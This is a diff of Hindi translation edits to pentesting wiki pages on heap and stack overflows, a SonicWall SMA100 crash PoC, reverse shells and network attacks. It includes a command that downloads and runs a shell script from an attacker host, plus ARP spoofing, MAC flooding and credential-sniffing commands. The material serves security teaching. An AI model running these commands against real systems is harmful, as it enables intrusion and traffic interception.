`__sprintf_chk` **_FORTIFY_SOURCE_** का हिस्सा है। जब यह **सकारात्मक** `size` पैरामीटर प्राप्त करता है, तो यह सुनिश्चित करता है कि परिणामी स्ट्रिंग गंतव्य बफर के अंदर फिट हो। **`-1` (0xFFFFFFFFFFFFFFFF)** पास करके, डेवलपर्स ने प्रभावी रूप से **बाउंड्स चेक को अक्षम कर दिया**, सुरक्षित `sprintf` को फिर से एक क्लासिक, असुरक्षित कॉल में बदल दिया।
|
||||
|
||||
इसलिए एक अत्यधिक लंबा **`Host:`** हेडर प्रदान करने से एक हमलावर **0x80-बाइट चंक को ओवरफ्लो कर सकता है और अगले हीप चंक के मेटाडेटा को क्लॉबर कर सकता है** (tcache / fast-bin / small-bin आवंटक के आधार पर)। एक क्रैश को निम्नलिखित के साथ पुन: उत्पन्न किया जा सकता है:
|
||||
```python
|
||||
|
@ -105,9 +105,9 @@ A practical application can be found in the 2024 HITCON Quals *Setjmp* challenge
|
||||
---
|
||||
### 🛡️ Mitigations & Hardening
|
||||
|
||||
* **Safe-linking (glibc ≥ 2.32)** केवल एकल-लिंक्ड *tcache*/**fastbin** सूचियों की सुरक्षा करता है। असंरचित/छोटे/बड़े बिन अभी भी कच्चे पॉइंटर्स को संग्रहीत करते हैं, इसलिए पहले-फिट आधारित ओवरलैप तब भी संभव हैं यदि आप एक हीप लीक प्राप्त कर सकते हैं।
|
||||
* **Safe-linking (glibc ≥ 2.32)** केवल singly-linked *tcache*/**fastbin** सूचियों की सुरक्षा करता है। असंरचित/छोटे/बड़े बिन अभी भी कच्चे पॉइंटर्स को संग्रहीत करते हैं, इसलिए पहले-फिट आधारित ओवरलैप तब भी संभव हैं यदि आप heap leak प्राप्त कर सकते हैं।
|
||||
* **Heap pointer encryption & MTE** (ARM64) अभी तक x86-64 glibc को प्रभावित नहीं करते हैं, लेकिन वितरण हार्डनिंग फ्लैग जैसे `GLIBC_TUNABLES=glibc.malloc.check=3` असंगत मेटाडेटा पर abort करेंगे और naïve PoCs को तोड़ सकते हैं।
|
||||
* **Filling tcache on free** (2024 में glibc 2.41 के लिए प्रस्तावित) असंरचित उपयोग को और कम करेगा; सामान्य एक्सप्लॉइट विकसित करते समय भविष्य के रिलीज़ की निगरानी करें।
|
||||
* **Filling tcache on free** (2024 में glibc 2.41 के लिए प्रस्तावित) असंरचित उपयोग को और कम करेगा; सामान्य exploits विकसित करते समय भविष्य के रिलीज़ की निगरानी करें।
|
||||
|
||||
---
|
||||
## Other References & Examples
|
||||
|
@ -6,11 +6,11 @@
|
||||
|
||||
A **stack overflow** एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक डेटा लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **सन्निकट मेमोरी स्थान को ओवरराइट** करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं।
|
||||
|
||||
इस ओवरराइट का मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचक (EIP/RIP)** और **सहेजा गया बेस सूचक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए होते हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट करने में सक्षम होगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित** कर सकेगा।
|
||||
इस ओवरराइट की मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचकांक (EIP/RIP)** और **सहेजा गया आधार सूचकांक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए होते हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट कर सकेगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित कर सकेगा**।
|
||||
|
||||
यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक के अंदर उन बाइट्स की अधिक संख्या की नकल करता है जितनी कि इसके लिए आवंटित की गई है**, इसलिए अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है।
|
||||
|
||||
इससे प्रभावित कुछ सामान्य कार्य हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... इसके अलावा, ऐसे कार्य जैसे **`fgets`**, **`read` & `memcpy`** जो **लंबाई तर्क** लेते हैं, यदि निर्दिष्ट लंबाई आवंटित लंबाई से अधिक है तो उन्हें असुरक्षित तरीके से उपयोग किया जा सकता है।
|
||||
इससे प्रभावित कुछ सामान्य कार्य हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... इसके अलावा, **`fgets`**, **`read` & `memcpy`** जैसे कार्य जो **लंबाई तर्क** लेते हैं, यदि निर्दिष्ट लंबाई आवंटित लंबाई से अधिक है तो उन्हें असुरक्षित तरीके से उपयोग किया जा सकता है।
|
||||
|
||||
उदाहरण के लिए, निम्नलिखित कार्य असुरक्षित हो सकते हैं:
|
||||
```c
|
||||
@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer);
|
||||
```
|
||||
### Stack Overflows ऑफसेट्स खोजना
|
||||
|
||||
Stack overflows खोजने का सबसे सामान्य तरीका `A`s का बहुत बड़ा इनपुट देना है (जैसे `python3 -c 'print("A"*1000)'`) और एक `Segmentation Fault` की उम्मीद करना जो यह संकेत करता है कि **पता `0x41414141` को एक्सेस करने की कोशिश की गई थी**।
|
||||
Stack overflows खोजने का सबसे सामान्य तरीका बहुत बड़े `A`s का इनपुट देना है (जैसे `python3 -c 'print("A"*1000)'`) और एक `Segmentation Fault` की उम्मीद करना जो यह संकेत करता है कि **पता `0x41414141` को एक्सेस करने की कोशिश की गई थी**।
|
||||
|
||||
इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको यह पता लगाने की आवश्यकता होगी कि **रिटर्न एड्रेस को ओवरराइट करने के लिए कितना ऑफसेट चाहिए**, इसके लिए आमतौर पर एक **De Bruijn अनुक्रम** का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उप अनुक्रमों के लिए एक **चक्रीय अनुक्रम है जिसमें लंबाई _n_ का हर संभव उप अनुक्रम ठीक एक बार एक सन्निहित उप अनुक्रम के रूप में प्रकट होता है**।
|
||||
इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको उस ऑफसेट को खोजने की आवश्यकता होगी जब तक कि **रिटर्न पता ओवरराइट करना संभव न हो**, इसके लिए आमतौर पर **De Bruijn अनुक्रम** का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार _k_ और लंबाई _n_ के उप अनुक्रमों के लिए एक **चक्रीय अनुक्रम है जिसमें लंबाई _n_ का हर संभव उप अनुक्रम ठीक एक बार एक सन्निहित उप अनुक्रम के रूप में प्रकट होता है**।
|
||||
|
||||
इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से पता लगाने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर उन बाइट्स का ऑफसेट ढूंढना संभव है जो इसे ओवरराइट करने के अंत में हैं।
|
||||
इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से पता लगाने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर उन बाइट्स के ऑफसेट को खोजना संभव है जिन्होंने इसे ओवरराइट किया।
|
||||
|
||||
इसके लिए **pwntools** का उपयोग करना संभव है:
|
||||
```python
|
||||
@ -57,7 +57,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
|
||||
### Ret2win
|
||||
|
||||
इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी नहीं बुलाया जाता** और जिसे **आपको जीतने के लिए बुलाना होगा**। इन चुनौतियों के लिए आपको केवल **रिटर्न एड्रेस को ओवरराइट करने के लिए ऑफसेट** ढूंढना है और **बुलाने के लिए फंक्शन का पता** लगाना है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन बुलाया जाएगा:
|
||||
इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी भी कॉल नहीं किया जाता** और जिसे **जीतने के लिए आपको कॉल करना होगा**। इन चुनौतियों के लिए आपको केवल **रिटर्न एड्रेस को ओवरराइट करने के लिए ऑफसेट** खोजने की आवश्यकता है और **कॉल करने के लिए फंक्शन का पता** लगाना है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन कॉल किया जाएगा:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -97,7 +97,7 @@ stack-shellcode/
|
||||
|
||||
### वास्तविक-विश्व उदाहरण: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
क्यों **`sscanf` को अविश्वसनीय इनपुट को पार्स करने के लिए कभी भी भरोसा नहीं किया जाना चाहिए** इसका एक अच्छा प्रदर्शन 2025 में SonicWall के SMA100 SSL-VPN उपकरण में सामने आया।\
|
||||
क्यों **`sscanf` को अविश्वसनीय इनपुट को पार्स करने के लिए कभी भी भरोसा नहीं किया जाना चाहिए** इसका एक अच्छा प्रदर्शन 2025 में SonicWall के SMA100 SSL-VPN उपकरण में सामने आया।
|
||||
`/usr/src/EasyAccess/bin/httpd` के अंदर कमजोर रूटीन किसी भी URI से संस्करण और एंडपॉइंट निकालने का प्रयास करता है जो `/__api__/` से शुरू होता है:
|
||||
```c
|
||||
char version[3];
|
||||
@ -116,7 +116,7 @@ warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
हालाँकि स्टैक कैनरी प्रक्रिया को समाप्त कर देते हैं, एक हमलावर अभी भी एक **Denial-of-Service** प्राइमिटिव प्राप्त करता है (और, अतिरिक्त जानकारी लीक के साथ, संभवतः कोड-एक्ज़ीक्यूशन)। सबक सरल है:
|
||||
हालाँकि स्टैक कैनरी प्रक्रिया को समाप्त कर देते हैं, एक हमलावर को फिर भी एक **Denial-of-Service** प्राइमिटिव मिलता है (और, अतिरिक्त जानकारी लीक के साथ, संभवतः कोड-एक्ज़ीक्यूशन)। सबक सरल है:
|
||||
|
||||
* हमेशा एक **अधिकतम फ़ील्ड चौड़ाई** प्रदान करें (जैसे `%511s`)।
|
||||
* `snprintf`/`strncpy_s` जैसे सुरक्षित विकल्पों को प्राथमिकता दें।
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
## Full TTY
|
||||
|
||||
**एक बार जब आपको एक रिवर्स शेल मिल जाए**[ **तो पूर्ण TTY प्राप्त करने के लिए इस पृष्ठ को पढ़ें**](full-ttys.md)**।**
|
||||
**एक बार जब आपको एक रिवर्स शेल मिल जाए**[ **तो एक पूर्ण TTY प्राप्त करने के लिए इस पृष्ठ को पढ़ें**](full-ttys.md)**।**
|
||||
|
||||
## Bash | sh
|
||||
```bash
|
||||
@ -47,7 +47,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
||||
```
|
||||
## Forward Shell
|
||||
|
||||
जब एक Linux-आधारित वेब एप्लिकेशन में **Remote Code Execution (RCE)** सुरक्षा कमजोरी का सामना कर रहे हों, तो एक रिवर्स शेल प्राप्त करना नेटवर्क सुरक्षा उपायों जैसे iptables नियमों या जटिल पैकेट फ़िल्टरिंग तंत्रों द्वारा बाधित हो सकता है। ऐसे सीमित वातावरण में, एक वैकल्पिक दृष्टिकोण एक PTY (Pseudo Terminal) शेल स्थापित करना है ताकि समझौता किए गए सिस्टम के साथ अधिक प्रभावी ढंग से बातचीत की जा सके।
|
||||
जब एक Linux-आधारित वेब एप्लिकेशन में **Remote Code Execution (RCE)** सुरक्षा कमजोरी का सामना कर रहे हों, तो एक रिवर्स शेल प्राप्त करना नेटवर्क सुरक्षा जैसे iptables नियमों या जटिल पैकेट फ़िल्टरिंग तंत्रों द्वारा बाधित हो सकता है। ऐसे सीमित वातावरण में, एक वैकल्पिक दृष्टिकोण एक PTY (Pseudo Terminal) शेल स्थापित करना है ताकि समझौता किए गए सिस्टम के साथ अधिक प्रभावी ढंग से बातचीत की जा सके।
|
||||
|
||||
इस उद्देश्य के लिए एक अनुशंसित उपकरण [toboggan](https://github.com/n3rada/toboggan.git) है, जो लक्षित वातावरण के साथ बातचीत को सरल बनाता है।
|
||||
|
||||
@ -243,7 +243,7 @@ curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_6
|
||||
|
||||
## revsh (एन्क्रिप्टेड और पिवट-तैयार)
|
||||
|
||||
`revsh` एक छोटा C क्लाइंट/सर्वर है जो एक **एन्क्रिप्टेड डिफी-हेलमैन टनल** के माध्यम से पूर्ण TTY प्रदान करता है और वैकल्पिक रूप से रिवर्स VPN-जैसे पिवटिंग के लिए एक **TUN/TAP** इंटरफेस संलग्न कर सकता है।
|
||||
`revsh` एक छोटा C क्लाइंट/सर्वर है जो एक **एन्क्रिप्टेड डिफी-हेलमैन टनल** के माध्यम से एक पूर्ण TTY प्रदान करता है और वैकल्पिक रूप से रिवर्स VPN-जैसे पिवटिंग के लिए एक **TUN/TAP** इंटरफेस संलग्न कर सकता है।
|
||||
```bash
|
||||
# Build (or grab a pre-compiled binary from the releases page)
|
||||
git clone https://github.com/emptymonkey/revsh && cd revsh && make
|
||||
|
@ -22,7 +22,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
### TCP Port Discovery
|
||||
|
||||
यह बहुत सामान्य है कि सभी प्रकार के ICMP पैकेट फ़िल्टर किए जा रहे हैं। फिर, एक होस्ट के चालू होने की जांच करने के लिए, आप केवल **खुले पोर्ट खोजने** का प्रयास कर सकते हैं। प्रत्येक होस्ट के पास **65535 पोर्ट** होते हैं, इसलिए, यदि आपके पास "बड़ा" दायरा है, तो आप **प्रत्येक पोर्ट** की जांच नहीं कर सकते कि वह खुला है या नहीं, इससे बहुत समय लगेगा।\
|
||||
फिर, आपको एक **तेज़ पोर्ट स्कैनर** ([masscan](https://github.com/robertdavidgraham/masscan)) और **अधिक उपयोग किए जाने वाले पोर्टों** की एक सूची की आवश्यकता है:
|
||||
फिर, आपको एक **तेज़ पोर्ट स्कैनर** ([masscan](https://github.com/robertdavidgraham/masscan)) और **सबसे अधिक उपयोग किए जाने वाले पोर्ट्स** की एक सूची की आवश्यकता है:
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
@ -31,21 +31,21 @@ masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5
|
||||
|
||||
### HTTP पोर्ट खोज
|
||||
|
||||
यह केवल एक TCP पोर्ट खोज है जो तब उपयोगी होती है जब आप **HTTP** **सेवाओं** की खोज पर **ध्यान केंद्रित** करना चाहते हैं:
|
||||
यह केवल एक TCP पोर्ट खोज है जो तब उपयोगी होती है जब आप **HTTP** **सेवाओं** की खोज पर ध्यान केंद्रित करना चाहते हैं:
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### UDP पोर्ट खोज
|
||||
|
||||
आप यह भी जांचने की कोशिश कर सकते हैं कि कुछ **UDP पोर्ट खुले** हैं या नहीं ताकि आप तय कर सकें कि आपको **होस्ट पर अधिक ध्यान देना चाहिए।** चूंकि UDP सेवाएँ आमतौर पर एक सामान्य खाली UDP प्रॉब पैकेट पर **कोई डेटा** के साथ **प्रतिक्रिया नहीं देतीं**, यह कहना मुश्किल है कि कोई पोर्ट फ़िल्टर किया जा रहा है या खुला है। इसे तय करने का सबसे आसान तरीका यह है कि चल रही सेवा से संबंधित एक पैकेट भेजें, और चूंकि आप नहीं जानते कि कौन सी सेवा चल रही है, आपको पोर्ट नंबर के आधार पर सबसे संभावित सेवा को आज़माना चाहिए:
|
||||
आप यह भी जांचने की कोशिश कर सकते हैं कि कुछ **UDP पोर्ट खुले** हैं या नहीं ताकि आप तय कर सकें कि आपको **होस्ट** पर **अधिक ध्यान** देना चाहिए या नहीं। चूंकि UDP सेवाएँ आमतौर पर एक सामान्य खाली UDP प्रॉब पैकेट पर **कोई डेटा** के साथ **प्रतिक्रिया नहीं देतीं**, इसलिए यह कहना मुश्किल है कि कोई पोर्ट फ़िल्टर किया जा रहा है या खुला है। इसे तय करने का सबसे आसान तरीका यह है कि चल रही सेवा से संबंधित एक पैकेट भेजें, और चूंकि आप नहीं जानते कि कौन सी सेवा चल रही है, आपको पोर्ट नंबर के आधार पर सबसे संभावित सेवा को आजमाना चाहिए:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
nmap द्वारा प्रस्तावित लाइन हर होस्ट के **top 1000 UDP ports** का परीक्षण करेगी **/24** रेंज के अंदर, लेकिन केवल यही करने में **>20min** लगेंगे। यदि आपको **fastest results** चाहिए, तो आप [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) का उपयोग कर सकते हैं: `./udp-proto-scanner.pl 199.66.11.53/24` यह इन **UDP probes** को उनके **expected port** पर भेजेगा (एक /24 रेंज के लिए, यह केवल 1 मिनट लेगा): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
nmap द्वारा प्रस्तावित लाइन हर होस्ट के **/24** रेंज में **शीर्ष 1000 UDP पोर्ट** का परीक्षण करेगी, लेकिन केवल यही करने में **>20मिनट** लगेंगे। यदि आपको **तेज़ परिणाम** चाहिए, तो आप [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) का उपयोग कर सकते हैं: `./udp-proto-scanner.pl 199.66.11.53/24` यह इन **UDP प्रॉब्स** को उनके **अपेक्षित पोर्ट** पर भेजेगा (एक /24 रेंज के लिए यह केवल 1 मिनट लेगा): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTP Port Discovery
|
||||
### SCTP पोर्ट खोज
|
||||
```bash
|
||||
#Probably useless, but it's pretty fast, why not try it?
|
||||
nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
@ -75,7 +75,7 @@ set net.show.meta true #more info
|
||||
```
|
||||
### Active
|
||||
|
||||
ध्यान दें कि [_**बाहर से होस्ट खोजने की तकनीकें**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP पोर्ट खोज_) को भी **यहां लागू किया जा सकता है**।\
|
||||
ध्यान दें कि [_**बाहर से होस्ट खोजने**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP पोर्ट खोज_) में टिप्पणी की गई तकनीकें भी **यहां लागू की जा सकती हैं**।\
|
||||
लेकिन, चूंकि आप अन्य होस्ट के **समान नेटवर्क** में हैं, आप **अधिक चीजें** कर सकते हैं:
|
||||
```bash
|
||||
#ARP discovery
|
||||
@ -98,17 +98,17 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### Active ICMP
|
||||
|
||||
ध्यान दें कि _Discovering hosts from the outside_ ([_**ICMP**_](#icmp)) में टिप्पणी की गई तकनीकें भी **यहां लागू की जा सकती हैं**।\
|
||||
ध्यान दें कि _Discovering hosts from the outside_ ([_**ICMP**_](#icmp)) में टिप्पणी की गई तकनीकें **यहां भी लागू की जा सकती हैं**।\
|
||||
लेकिन, चूंकि आप अन्य होस्ट के **समान नेटवर्क** में हैं, आप **अधिक चीजें** कर सकते हैं:
|
||||
|
||||
- यदि आप **ping** एक **subnet broadcast address** करते हैं, तो पिंग **प्रत्येक होस्ट** तक पहुंचनी चाहिए और वे **आपको** **उत्तर** दे सकते हैं: `ping -b 10.10.5.255`
|
||||
- **Network broadcast address** को पिंग करने पर आप **अन्य subnets** के अंदर होस्ट भी ढूंढ सकते हैं: `ping -b 255.255.255.255`
|
||||
- **Network broadcast address** को पिंग करने पर आप **अन्य subnets** के अंदर होस्ट भी खोज सकते हैं: `ping -b 255.255.255.255`
|
||||
- होस्ट खोज करने के लिए `nmap` के `-PE`, `-PP`, `-PM` फ्लैग का उपयोग करें, जो क्रमशः **ICMPv4 echo**, **timestamp**, और **subnet mask requests** भेजते हैं: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan का उपयोग कंप्यूटरों को **नेटवर्क संदेश** के माध्यम से **चालू करने** के लिए किया जाता है। कंप्यूटर को चालू करने के लिए उपयोग किया जाने वाला जादुई पैकेट केवल एक पैकेट है जिसमें एक **MAC Dst** प्रदान किया गया है और फिर इसे **एक ही पैकेट** के अंदर **16 बार दोहराया** जाता है।\
|
||||
फिर इस प्रकार के पैकेट आमतौर पर **ethernet 0x0842** में या **UDP पैकेट को पोर्ट 9** पर भेजे जाते हैं।\
|
||||
Wake On Lan का उपयोग **नेटवर्क संदेश** के माध्यम से कंप्यूटरों को **चालू करने** के लिए किया जाता है। कंप्यूटर को चालू करने के लिए उपयोग किया जाने वाला जादुई पैकेट केवल एक पैकेट है जिसमें एक **MAC Dst** प्रदान किया गया है और फिर इसे **एक ही पैकेट** के अंदर **16 बार दोहराया** जाता है।\
|
||||
फिर इस प्रकार के पैकेट आमतौर पर **ethernet 0x0842** में या **UDP पैकेट को पोर्ट 9** में भेजे जाते हैं।\
|
||||
यदि **कोई \[MAC]** प्रदान नहीं किया गया है, तो पैकेट **broadcast ethernet** पर भेजा जाता है (और ब्रॉडकास्ट MAC वही होगा जो दोहराया जाएगा)।
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
@ -140,8 +140,8 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
|
||||
UDP पोर्ट को स्कैन करने के लिए 2 विकल्प हैं:
|
||||
|
||||
- एक **UDP पैकेट** भेजें और यदि पोर्ट **बंद** है तो _**ICMP अनुपलब्ध**_ के लिए प्रतिक्रिया की जांच करें (कई मामलों में ICMP **फिल्टर** किया जाएगा इसलिए आपको यह जानकारी नहीं मिलेगी कि पोर्ट बंद है या खुला)।
|
||||
- एक **फॉर्मेटेड डाटाग्राम** भेजें ताकि एक **सेवा** (जैसे, DNS, DHCP, TFTP, और अन्य, जो _nmap-payloads_ में सूचीबद्ध हैं) से प्रतिक्रिया प्राप्त की जा सके। यदि आपको एक **प्रतिक्रिया** मिलती है, तो पोर्ट **खुला** है।
|
||||
- एक **UDP पैकेट** भेजें और _**ICMP अनुपलब्ध**_ के लिए प्रतिक्रिया की जांच करें यदि पोर्ट **बंद** है (कई मामलों में ICMP **फिल्टर** किया जाएगा इसलिए आपको यह जानकारी नहीं मिलेगी कि पोर्ट बंद है या खुला)।
|
||||
- एक **फॉर्मेटेड डेटाग्राम** भेजें ताकि एक **सेवा** (जैसे, DNS, DHCP, TFTP, और अन्य, जो _nmap-payloads_ में सूचीबद्ध हैं) से प्रतिक्रिया प्राप्त की जा सके। यदि आपको एक **प्रतिक्रिया** मिलती है, तो पोर्ट **खुला** है।
|
||||
|
||||
**Nmap** दोनों विकल्पों को "-sV" का उपयोग करके **मिश्रित** करेगा (UDP स्कैन बहुत धीमे होते हैं), लेकिन ध्यान दें कि UDP स्कैन TCP स्कैन की तुलना में धीमे होते हैं:
|
||||
```bash
|
||||
@ -182,7 +182,7 @@ nmap-summary-esp.md
|
||||
|
||||
### आंतरिक IP पतों का खुलासा
|
||||
|
||||
**गलत कॉन्फ़िगर किए गए राउटर, फ़ायरवॉल, और नेटवर्क उपकरण** कभी-कभी **गैर-जनता स्रोत पतों** का उपयोग करके नेटवर्क प्रॉब्स का उत्तर देते हैं। **tcpdump** का उपयोग परीक्षण के दौरान निजी पतों से प्राप्त पैकेटों की पहचान के लिए किया जा सकता है। विशेष रूप से, Kali Linux पर, पैकेटों को **eth2 इंटरफेस** पर कैप्चर किया जा सकता है, जो सार्वजनिक इंटरनेट से सुलभ है। यह ध्यान रखना महत्वपूर्ण है कि यदि आपकी सेटअप NAT या फ़ायरवॉल के पीछे है, तो ऐसे पैकेटों को फ़िल्टर किया जा सकता है।
|
||||
**गलत कॉन्फ़िगर किए गए राउटर, फ़ायरवॉल, और नेटवर्क उपकरण** कभी-कभी **गैर-जनता स्रोत पतों** का उपयोग करके नेटवर्क प्रॉब्स का उत्तर देते हैं। **tcpdump** का उपयोग परीक्षण के दौरान निजी पतों से प्राप्त पैकेटों की पहचान करने के लिए किया जा सकता है। विशेष रूप से, Kali Linux पर, पैकेटों को **eth2 इंटरफेस** पर कैप्चर किया जा सकता है, जो सार्वजनिक इंटरनेट से सुलभ है। यह ध्यान रखना महत्वपूर्ण है कि यदि आपकी सेटअप NAT या फ़ायरवॉल के पीछे है, तो ऐसे पैकेटों को फ़िल्टर किया जा सकता है।
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
|
||||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||||
```
|
||||
आप एक SSH सत्र के माध्यम से Wireshark का उपयोग करके एक दूरस्थ मशीन से वास्तविक समय में पैकेट कैप्चर कर सकते हैं।
|
||||
आप एक SSH सत्र के माध्यम से Wireshark का उपयोग करके रिमोट मशीन से रीयलटाइम में पैकेट कैप्चर कर सकते हैं।
|
||||
```
|
||||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||||
@ -220,15 +220,15 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
|
||||
|
||||
स्पष्ट है।
|
||||
|
||||
### क्रेडेंशियल कैप्चर करना
|
||||
### Capturing credentials
|
||||
|
||||
आप [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) जैसे टूल का उपयोग करके pcap या लाइव इंटरफेस से क्रेडेंशियल्स को पार्स कर सकते हैं।
|
||||
|
||||
## LAN हमले
|
||||
## LAN attacks
|
||||
|
||||
### ARP स्पूफिंग
|
||||
### ARP spoofing
|
||||
|
||||
ARP स्पूफिंग में ग्रैटिटियस ARPResponses भेजना शामिल है ताकि यह संकेत दिया जा सके कि एक मशीन का IP हमारे डिवाइस के MAC के साथ है। फिर, पीड़ित ARP तालिका को बदल देगा और हर बार जब वह स्पूफ किए गए IP से संपर्क करना चाहता है, तो वह हमारी मशीन से संपर्क करेगा।
|
||||
ARP Spoofing में बिना किसी कारण के ARPResponses भेजना शामिल है ताकि यह संकेत दिया जा सके कि किसी मशीन का IP हमारे डिवाइस के MAC के साथ है। फिर, पीड़ित ARP तालिका को बदल देगा और हर बार जब वह स्पूफ किए गए IP से संपर्क करना चाहता है, तो वह हमारी मशीन से संपर्क करेगा।
|
||||
|
||||
#### **Bettercap**
|
||||
```bash
|
||||
@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAM overflow
|
||||
|
||||
स्विच के CAM तालिका को ओवरफ्लो करें, विभिन्न स्रोत मैक पते के साथ बहुत सारे पैकेट भेजकर। जब CAM तालिका भर जाती है, तो स्विच हब की तरह व्यवहार करना शुरू कर देता है (सभी ट्रैफ़िक को ब्रॉडकास्ट करना)।
|
||||
स्विच की CAM तालिका को ओवरफ्लो करें, विभिन्न स्रोत मैक पते के साथ बहुत सारे पैकेट भेजकर। जब CAM तालिका भर जाती है, तो स्विच हब की तरह व्यवहार करना शुरू कर देता है (सभी ट्रैफ़िक को ब्रॉडकास्ट करना)।
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
@ -256,7 +256,7 @@ macof -i <interface>
|
||||
|
||||
#### डायनामिक ट्रंकिंग
|
||||
|
||||
